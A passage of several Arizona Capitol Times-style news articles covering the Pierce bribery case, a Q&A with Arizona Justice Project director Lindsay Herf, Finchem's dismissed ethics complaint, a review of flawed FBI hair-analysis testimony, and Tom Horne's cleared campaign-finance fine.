The indictment also says that Norton, who was a lobbyist for Johnson Utilities, acted as a go-between for his client and Pierce. Norton also is accused of trying to hide that transfer of property from Johnson to Pierce: It would be Norton’s name listed as buyer of what Johnson was selling, not that of Pierce.

In his new legal filings, Mathew effectively verified that Kelly Norton was the unnamed person in the indictment who was the conduit of the money. And he detailed key elements of what Kelly Norton told the FBI.

“George was going to put up the money, and then were going to buy it so that Gary and his son could run it to help Gary,” the new legal papers quote Kelly as telling agents.

“I threw an absolute fit when he did that,” she continued according to Mathew’s transcript of the FBI interview. “Because it was like $400,000.”

In another conversation, Kelly told the FBI she “put my foot down” in refusing to go along with being a conduit for the sale.

“What Jim told me was that George was gonna’ put up the money, because I threw a total fit when I saw that Jim was gonna’ buy this land for Gary, and Jim said don’t worry, George is putting up the money,” she said. “I mean I have my real estate license, you know, you can’t just do stuff like that, when you have your real estate license you have to follow all the rules and everything.”

As to that money for Gary Pierce’s wife, Kelly said she had done some work for George and was getting $6,000 a month.

“And then he told me that I needed to pay Sherry $3,500 a month,” Kelly told the agents.

“I was upset because I’m perfectly capable of doing whatever work I thought it was,” she said. “I didn’t realize at first what was going on, so I said, why am I hiring Sherry when I am perfectly capable of doing this?”

What makes much of what Kelly Norton told the FBI important is that the privilege against one spouse testifying against another does not apply if both are involved in a crime.

“In this particular circumstances, Kelly Norton states that she did not want to be part of an alleged crime of purchasing land with Commissioner Pierce,” Mathew wrote. Anyway, he said, the land deal did not go through.

“Thus, neither husband nor wife were participants in a criminal transaction,” he said of the part of the indictment involving that land deal.

As to those payments to Sherry Pierce, Mathew said there is no crime, saying all the parties were simply exercising their constitutional rights of free speech.

He said Jim Norton had been working for R&R Partners, a lobbying and public relations firm and that Kelly had a contract to assist with projects as needed.

At the same time, Mathew said Sherry Pierce is “a moving force in the East Valley political circles” and “entitled to work as a political consultant and get paid.”

What all three were doing, Mathew said, is assisting George Johnson in generating political support to keep parts of the East Valley unincorporated.

“This is protected speech,” the attorney said.

“Furthermore, that fact Sherry Pierce (or for that matter, Gary Pierce) merely received benefits for their work is not a crime,” Matthew continued. “The government has not shown that any payments to Sherry Pierce are in violation of federal law.”

The trial is currently set for May 30.

Lindsay Herf: Finding holes in America’s justice system

Cap Times Q&A

Lindsay Herf’s mission in life is to find the holes in our justice system.

As executive director of the Arizona Justice Project, she leads efforts to investigate claims of innocence.

Herf worked on a FBI’s review of microscopic hair analysis for two years in Washington, D.C. following the bureau’s discovery of widespread misrepresentation of microscopic hair analysis, and now leads a team responsible for digging through court records on hundreds of Arizona cases that need legal consideration.

It’s hardly where she expected to end up after finishing law school, but now that she’s here, she’s living that “#wrongfulconviction warrior” life day in and day out.

Lindsay Herf (Photo by Jenna Miller/Arizona Capitol Times)
Lindsay Herf (Photo by Jenna Miller/Arizona Capitol Times)

How’d you get into this side of the law?

This side being kind of on the defense and on the tail end looking back. In law school, I never thought I’d go into criminal law. This was never my dream. But I went to Cal Western in San Diego, and that’s the home of the California Innocence Project. In my second year of law school, I was a student clinician at CIP, and for the first time learned about what can and does go wrong in the system, how innocent people have been snared up and been wrongfully convicted. I mean I grew up here in Paradise Valley within a pretty conservative family – never even dawned on me that something like this could happen. People lie about things for a variety of reasons – witnesses lie, snitches lie, sometimes people operating the system, prosecutors and defense lawyers lie. And then when I graduated from law school, there was the position here that opened up because of the grant. I never thought I’d come back to Arizona, but I came back.

Do you know anyone personally who’s been wrongfully convicted?

There are people definitely that I know from growing up that have had run-ins with the system that have gone into jail or even prison that I know are good people and made a mistake. The exonerees give me and our entire staff the motivation to come to work every day. None of them signed up for this. None of them, for the most part, really did anything wrong to get themselves in the position to be accused and then, ultimately, convicted. It’s amazing to me and I think to a lot of people who meet them that many of them, by the time they’re finally released, they’re not mad. And you think, “Wouldn’t you just be so mad for losing 15, 20 years of your life?” And I think everyone probably goes through that emotion and that anger. But how long can you stay angry before it just starts eating you up inside?

Attorney General Jeff Sessions ended the Department of Justice’s National Commission on Forensic Science, something you pointed out on Twitter but which seemed to be largely overlooked.

The National Commission on Forensic Science was formed with people from all different areas – everything from science practitioners to academics to prosecutors to judges to defense lawyers, people from all throughout the criminal justice community – to kind of examine where our flaws are with forensic sciences and what we can do to strengthen that field. But when Sessions became our attorney general, he ended the commission. It was something that would have been renewable no matter who came into office, but when he did, he decided not to renew it.

I think that it is ignoring the fact that we do have some problems with forensics and the law. And nationwide, every lab is different. Some states, some jurisdictions, have more funding (and) have better quality labs than others. What’s passing as forensic science in some areas isn’t science at all. You can read a report and see what the analyst says, but when they’re on the stand and testifying to something, that’s when the exaggerations sometimes come out. (It’s) not necessarily to intentionally cause harm, but sometimes it’s hard to put things in different words. When you’ve got a rape case in Podunk, Tennessee, and they bring this person in from the FBI and Washington D.C., whatever that person’s conclusion is, that’s going to paint the picture.

Why do you think he ended it?

I don’t know if he doesn’t fully understand what some of the problems are with forensic science and the court and how different flawed forensics have led to wrongful convictions. I don’t know how knowledgeable he is about that. I don’t know if he just doesn’t want to put the resources into digging into this anymore. Having my career in post- conviction legal work, and every week it seems like I’m reading about a new person who’s been exonerated somewhere around the country, we know mistakes happen. In any system that’s operated by humans, there’s going to be an error. There’s going to be mistakes. It’s not always intentional, but I think we need to recognize that it happens, especially with the advancements of technology and science. We can correct wrongs that we didn’t even know about in the past, and I think he seems resistant to that.

How are things different for attorneys in these turbulent times?

A lot of racism, sexism – it’s invisible until you start seeing how votes come out. People start acting on things. A disproportionate number of people who have been wrongfully convicted are minorities across the nation, maybe not specifically in Arizona. Some of our nation’s – what we thought might’ve been history, in terms of equality or whatnot – I don’t think is much history. I think there’s still issues that everyone’s grappling with today.

You’re a marathoner in your personal time?

I’ve done one, so I don’t know if that counts me as a marathoner. I grew up swimming and running primarily. I ran in college and then I swim more now just because my body can’t take running every day. But I’m on the Phoenix Swim Club team with half the legal community it seems like.

Senate ethics chairs tosses Finchem’s complaint

Wearing a face covering and sitting among socially-distanced plexiglass, Rep. Mark Finchem, R-Oro Valley, sits at his desk during the opening of the Arizona Legislature at the state Capitol, Monday, Jan. 11, 2021, in Phoenix. (AP Photo/Ross D. Franklin, Pool)
Wearing a face covering and sitting among socially-distanced plexiglass, Rep. Mark Finchem, R-Oro Valley, sits at his desk during the opening of the Arizona Legislature at the state Capitol, Monday, Jan. 11, 2021, in Phoenix. (AP Photo/Ross D. Franklin, Pool)

It doesn’t look like Rep. Mark Finchem will get an investigation into the conduct of Democratic lawmakers who asked the FBI to investigate him.

Sen. Sine Kerr, R-Buckeye, who chairs the Senate Ethics Committee, has concluded that the allegations of the Oro Valley Republican against the senators “do not constitute ‘conduct alleged to be unethical’ under the committee’s rules,” according to Chris Kleminich, an attorney for the Senate.

Her finding, released Monday, is similar to one last week by Rep. Becky Nutt, R-Clifton, who chairs the House Ethics Committee. She said his complaint about House Democrats also did not fit in the role of her committee, saying it involves essentially political matters.

Strictly speaking, Kerr’s response does not end the matter.

Senate rules allow a complaint to go forward if at least two of the other lawmakers on the five-member panel want to go further. But she has given them only until this coming Monday March 1 to respond.

Finchem’s complaint is that the Democratic lawmakers acted improperly by asking both the FBI and the U.S. Department of Justice to look into his activities leading up to the Jan. 6 insurrection at the U.S. Capitol as well as what he did in Washington that day. The Democrats charged that Finchem “supported the violent overthrow of our government” and that he participated in the attack on the Capitol.

He has denied those charges.

The Democrats said all they have heard back from the federal agencies is that they got the request.

Finchem said Monday he had no comment “other than 100% of the Democratic senator signed onto a fallacious criminal referral and they can’t have an ethics committee because they have all committed the same violation.”

And what of the fact that the people who chair both ethics panels are Republicans?

“You’ll know when I’m ready to move,” Finchem responded.

Testimony on hair samples under scrutiny in 100s of Arizona cases

(Photo by Katie Campbell/Arizona Capitol Times)
(Photo by Katie Campbell/Arizona Capitol Times)

Hundreds of state criminal cases are under review after the FBI discovered the widespread misrepresentation of microscopic hair analysis.

In 2015, the FBI concluded an evaluation of federal analysts’ testimony that revealed false statements were made in at least 90 percent of trial transcripts analyzed by the Bureau, and 26 of 28 FBI analysts were found to have provided inaccurate testimony or lab reports.

Analysts at the state and local level were also trained by the FBI in hair microscopy, prompting former Director James Comey last year to contact governors across the country, including Gov. Doug Ducey. Comey encouraged state level reviews to ensure the Bureau’s approach did not corrupt state practices.

‘Hair is not an absolute means of identification’

In August, the Arizona Department of Public Safety began the process of assessing roughly 2,300 cases dating back to the late 1980s. And by the end of December, 218 cases were identified for further scrutiny by partners with the state Attorney General’s Office, Arizona State University’s Post-Conviction Clinic and the Court of Appeals.

“The ultimate question that’s trying to be answered is, ‘Is there any situation out there where somebody needs post-conviction relief?’” said Scott Rex, DPS central regional crime lab manager. “And if there is a case where the hair results in some way influenced the case inappropriately – whether it was through court testimony or through the attorneys misrepresenting it, for example in closing arguments – that information needs to be found.”

Scott Rex, DPS
Scott Rex (Photo by Katie Campbell/Arizona Capitol Times)

Rex explained the issue would not be with the hair analysis itself; hair microscopy is the fairly straightforward practice of comparing the characteristics of a suspect’s hair sample to one perhaps found at the scene of a crime or on a piece of evidence.

But the science behind it is not capable of absolutely identifying someone.

Rex, who has short, dark hair, said a long, blonde hair would exclude him from its potential donor pool. But the blond hair could not possibly be narrowed down to a single blond-haired person.

If court testimony or closing statements made by a prosecutor suggested otherwise, that would be entirely inaccurate.

Though DPS analysts have been trained by the FBI, Rex said he has no concerns they would have provided any misleading testimony, unintentionally or otherwise.

“From the beginning, we’ve had a statement that basically says that hair is not an absolute means of identification,” he said. “We have that directly on the report, so it is there for the jury to see. It is there for the attorneys to see. It is very clearly delineated for them.”

Though Arizona Justice Project Executive Director Lindsay Herf commended Rex and DPS for their cooperation, she said the disclaimer that made Rex so confident is not a guarantee.

Herf worked on the FBI’s review for two years and is now on the Arizona team responsible for digging through court records on the cases that need legal consideration.

“The same thing happened with the FBI review, where the disclaimer was on a lot of those reports and errors still came out,” she said, adding some analysts said “some really ridiculous things” while others tried to be careful but still went beyond the bounds of science.

“A lot of these disciplines, like hair microscopy but more so like tire print evidence and that type of thing, are disciplines that weren’t created in a science lab for biology,” she said. “They’re created by law enforcement for use in law enforcement, so there’s a lack of foundation in so many of these disciplines.”

And sometimes mistakes are made.

‘The case where just about everything that could go wrong went wrong’

Herf recalled only one Arizona case in which hair analysis has been conclusively proven wrong.

Ray Krone, whose case is better known for the vast overstatement of bite mark evidence, was twice convicted for the murder of Kim Ancona, a Phoenix bartender found naked and stabbed to death on the floor of the men’s bathroom floor.

She had bite marks on her chest and neck, marks an expert witness wrongfully testified could have only come from Krone.

But a Phoenix crime lab hair analyst also provided inaccurate testimony at the 1992 trial.

Herf said the analyst told the court hairs found on the victim did not exclude Krone, a Caucasian man. In 1996, an FBI analyst offered a different opinion, testifying the hairs not only excluded Krone but came from someone of Native American or Asian heritage. Six years later, DNA analysis proved the FBI analyst right.

Kenneth Phillips was the killer. He lived 500 yards from the bar, Herf said. He had been at the bar that night. Ancona had kicked him out because he was too drunk. And then he came back.

Krone was exonerated. And Herf said the same analyst who testified in Krone’s case could have made other, potentially influential errors.

“Just because looking under a microscope won’t give you the perfect answer, it’s possible that that analyst – with good intentions, doing what they were trying to do – still got it wrong,” she said. “And maybe that’s the only mistake this analyst ever made. Or maybe this analyst made 10 other similar mistakes.”

‘It should match’

Part of the problem may simply be human error, sometimes driven by extraneous information that works its way into labs.

Lindsay Herf
Lindsay Herf

“You might find out that the analyst has information from the detective or prosecutor that, oh, this guy confessed and three witnesses have identified him,” she said.

She doesn’t believe analysts are dishonest, but there could be a little voice reminding them, “It should match. It’s the gun from the guy who confessed. It should match.”

It’s hard to know how many cases like Krone’s have been missed, but Herf’s team is determined to find them if they’re out there.

In May, Herf applied for a grant to fund the monumental job ahead – poring over pages upon pages of testimony.

Crime labs in Tucson, Scottsdale and Mesa have also completed reviews that will add to Herf’s caseload. The Phoenix crime lab, with its vast case history, has not yet performed its own analysis, but some of the grant money would go toward hiring someone to do so.

If the grant does not come through, Herf said the review team is invested enough to see this through.

Tom Horne won’t have to pay $400,000 fine

Tom Horne
Tom Horne (photo by Gary Grado)

Former Attorney General Tom Horne, who was hounded by allegations of illegal coordination throughout his unsuccessful bid for re-election in 2014 and faced a $400,000 fine, has been absolved of wrongdoing by Cochise County Attorney Brian McIntyre.

McIntyre concluded that while Horne and Kathleen Winn, who ran an independent expenditure committee that aided his campaign for attorney general, communicated at a time “which would cause any outside observer to cry foul,” the record did not establish that the act is illegal.

Brian McIntyre
Brian McIntyre

“Both sides to this dispute present equally plausible explanations as to what did or did not occur during that communication,” McIntyre wrote. “The party bearing the burden, therefore, has failed to meet it.”

The Attorney General’s Office had assigned the case to McIntyre after the Arizona Supreme Court ruled that Yavapai County Attorney Sheila Polk’s handling of the case violated Horne’s due process rights. McIntyre’s conclusions are the final word on the case.

That decision overturned two lower court rulings and handed the former attorney general a major victory in the scandal that ultimately contributed to his election defeat.

The justices ruled that due process does not permit Polk to levy the fine against Horne and Winn, participate in prosecuting them, and serve as the final decision-maker in rejecting an administrative law judge’s recommendation that the case be dismissed, which the Supreme Court noted would “receive only deferential judicial review.”

In 2014, Administrative Law Judge Tammy Eigenheer recommended to drop the case against Horne and Winn.

McIntyre said Eigenheer found Horne and Winn’s testimony to be credible, and he could find no substantial evidence to overturn those findings.

Kathleen Winn
Kathleen Winn

A focal point of the case against Horne and Winn was a series of emails she had sent to political consultant Brian Murray on Oct. 20, 2010, in which she told the consultant that “we” didn’t like how many times Business Leaders for Arizona, the independent expenditure group she ran, had mentioned Democrat Felicia Rotellini, Horne’s 2010 general election opponent, in its ad. She had also commented that she has “several masters” to answer to and had two “strong personalities” debating the ad’s content. The Yavapai County Attorney’s Office concluded that she must have been referring to Horne.

But McIntyre said the evidence does not reveal any actual communication between Horne and Winn, and the record supports the conclusion that those “strong personalities” did not include Horne.

McIntyre added that the investigation was “not a search for the truth, but rather, only intended to shore up conclusions already drawn.”

Horne’s attorneys, Dennis Wilenchik and Jack Wilenchik, said the “oppressive cloud” hanging over their client has been cleared.

“This case was brought by an overzealous prosecutor who chose to act as ‘judge, jury and executioner’ and to overrule a judge. Justice has finally prevailed for the former Attorney General,” they added.

Late in the 2010 race, Business Leaders for Arizona had run roughly $500,000 worth of attack ads against Rotellini. Investigators from the Maricopa County and later the Yavapai County attorney’s offices concluded that Horne and Winn had illegally coordinated in creating the campaign commercials. Polk ultimately fined the pair $400,000.

Maricopa County Attorney Bill Montgomery’s October 2012 announcement of the coordination allegations was a political bombshell that hounded Horne for the remainder of his term as attorney general. Many believe that this charge, along with allegations by a former staffer in 2014 that Horne had been running his re-election campaign out of the Attorney General’s Office, helped lead to Horne’s defeat in the Republican primary by Mark Brnovich, who went on to win the general election race.